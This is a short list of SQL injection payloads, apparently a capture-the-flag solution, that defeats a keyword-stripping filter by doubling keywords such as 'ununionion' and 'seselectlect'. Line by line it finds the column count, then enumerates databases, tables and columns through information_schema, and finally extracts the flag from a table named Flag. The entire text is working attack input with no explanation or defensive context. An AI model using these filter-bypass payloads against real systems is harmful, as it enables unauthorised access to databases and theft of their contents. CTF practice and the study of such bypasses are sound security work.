1' ununionion seselectlect 1 #
1' ununionion seselectlect 1,2,3#
1' ununionion seselectlect 1,2,(selselectect database())#
1' ununionion seselectlect 1,2,group_concat(distinct TABLE_SCHEMA) FRfromOM infoorrmation_schema.tables#
1' ununionion seselectlect 1,2,group_concat(distinct SCHEMA_NAME)FRromOM
infoorrmation_schema.schemata#
1' ununionion seleselectct 1,2,group_concat(distinct TABLE_NAME) FRfromOM infoorrmation_schema.tables WHWHEREERE table_schema='ctf'#
1' ununionion seselectlect 1,2,
group_concat(COLUMN_NAME) frfromom infoorrmation_schema.columns whwhereere
table_name='Flag'#
1' ununionion seselectlect 1,2,
group_concat(flag) frfromom ctf.Flag#